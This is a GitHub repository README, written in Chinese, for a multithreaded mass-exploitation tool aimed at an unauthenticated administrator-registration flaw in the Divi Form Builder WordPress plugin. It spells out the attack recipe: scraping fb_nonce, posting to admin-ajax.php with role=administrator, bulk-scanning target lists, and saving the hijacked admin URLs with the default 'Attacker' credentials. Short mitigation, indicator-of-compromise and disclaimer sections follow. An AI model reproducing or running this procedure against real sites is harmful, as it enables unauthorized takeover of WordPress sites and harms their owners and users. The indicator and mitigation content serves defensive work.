Jenderal92/CVE-2026-5118

GitHub: Jenderal92/CVE-2026-5118

针对 WordPress Divi 插件未授权管理员注册漏洞的多线程批量利用工具,可自动提取 nonce 并发送精心构造的注册请求进行漏洞验证。

Stars: 0 | Forks: 0

# Divi Form Builder <= 5.1.2 - 通过 'role' 进行未授权权限提升 ## 概述 此 Python 2 脚本利用了 **Divi WordPress 插件**(及相关 Divi 表单)中的权限提升漏洞。它允许通过以下方式远程注册 **administrator** 账户: - 从目标的 Divi 注册表单中提取 `fb_nonce`。 - 向 `/wp-admin/admin-ajax.php` 发送精心构造的 multipart 请求,包含 `role=administrator`。 - 自动检测是否成功并保存被攻破的管理员 URL。 ## 功能 - ✅ **多线程**(默认 20 个线程),实现快速扫描。 - ✅ **自动 URL 规范化** – 如果缺失则自动添加 `https://`。 - ✅ **Nonce 提取**,使用多种正则表达式模式(内联 JavaScript、隐藏输入、`de_fb_obj`)。 - ✅ 模拟合法浏览器提交的 **Multipart/form-data** 请求。 - ✅ 通过响应关键词(`success`、`user_id`、`user created` 等)进行**成功检测**。 - ✅ 将**结果保存**到 `results.txt` 中,格式如下: `https://target.com/wp-admin/ | username | password` ## 环境要求 - **Python 2.7**(使用 `urllib2`、`Queue`、`threading` – 未经修改无法兼容 Python 3) - 目标 URL 列表(每行一个) ## 安装说明 ``` git clone https://github.com/Jenderal92/CVE-2026-5118.git cd CVE-2026-5118 chmod +x CVE-2026-5118.py ``` ## 用法 ### 1. 准备目标列表 创建一个文本文件,每行一个域名或 URL。您可以省略 `http://` / `https://` – 脚本默认会添加 `https://`。 **示例 `targets.txt`:** ``` example.com https://vulnerable-site.com http://127.0.0.1/wordpress test-site.org ``` ### 2. 运行 exploit ``` python CVE-2026-5118.py targets.txt ``` ### 3. 输出示例 ``` [*] Total targets : 4 [*] Credentials : Attacker / Attacker@123#+ [*] Threads : 20 [*] Output file : results.txt [1] Checking https://example.com [+] SUCCESS! https://example.com/wp-admin/ [2] Checking https://vulnerable-site.com [+] SUCCESS! https://vulnerable-site.com/wp-admin/ [3] Checking http://192.168.1.100/wordpress [3] FAILED http://192.168.1.100/wordpress [4] Checking https://test-site.org [4] FAILED https://test-site.org === DONE === Successful: 2 / 4 ``` ### 4. 结果文件 (`results.txt`) ``` https://example.com/wp-admin/|Attacker|Attacker@123#+ https://vulnerable-site.com/wp-admin/|Attacker|Attacker@123#+ ``` ## 配置 您可以自定义脚本顶部的以下变量: | 变量 | 默认值 | 描述 | |----------|---------|-------------| | `DEFAULT_USERNAME` | `Attacker` | 要注册的用户名 | | `DEFAULT_PASSWORD` | `Attacker@123#+` | 密码(包含特殊字符的强密码) | | `DEFAULT_EMAIL` | `mail@admin.com` | 电子邮箱地址 | | `THREAD_COUNT` | `20` | 并发线程数 | | `OUTPUT_FILE` | `results.txt` | 用于保存成功目标的文件 | ## 工作原理 1. **规范化 URL** – 如果未提供协议,则添加 `https://`。 2. **提取 nonce** – 获取主页(或注册页面),并使用正则表达式模式搜索 `fb_nonce`。 3. **构建请求** – 构造一个包含以下内容的 `multipart/form-data` POST 请求: - `action=de_fb_ajax_submit_ajax_handler` - `fb_nonce=<提取的 nonce>` - `role=administrator` - `de_fb_user_login` / `user_login` - `de_fb_user_pass` / `user_pass` - `de_fb_user_email` / `user_email` 4. **发送至 admin-ajax.php** – 如果响应包含任何成功关键词,则将该目标标记为易受攻击。 5. **保存结果** – 将管理员 URL 和凭证写入输出文件。 ## 检测与缓解 **对于使用 Divi 的 WordPress 管理员:** - 将 Divi 及所有相关插件更新至最新版本。 - 如果不需要,请禁用公开注册。 - 使用安全插件(Wordfence、Sucuri)监控 `admin-ajax.php` 请求。 - 在所有注册表单上实施 reCAPTCHA。 - 切勿暴露带有可被篡改的 `role` 参数的注册表单。 **入侵指标 (IOCs):** - 意外的 `admin-ajax.php` 请求,且包含 `action=de_fb_ajax_submit_ajax_handler` - 具有可疑用户名(例如 `Attacker`)的新管理员用户 - 访问日志中的 POST 数据包含 `role=administrator` ## 法律免责声明 本软件仅供**教育目的**和**授权的安全测试**使用。作者对滥用本工具或由此造成的损害不承担任何责任。使用本软件即表示您同意: - 在测试前获得系统所有者的**书面许可**。 - 遵守所有适用法律(CFAA、Computer Misuse Act、UU ITE 等)。 - 立即删除任何获得的未授权访问权限。 - 向受影响的供应商负责任地报告漏洞。 **违反这些条款可能会导致刑事起诉、罚款或监禁。** ## 贡献 欢迎提交 Pull Request 以进行改进(Python 3 移植、更好的 nonce 提取、额外的注册路径检测)。请保留道德免责声明。
标签:CISA项目, Python2, WordPress, 协议分析, 权限提升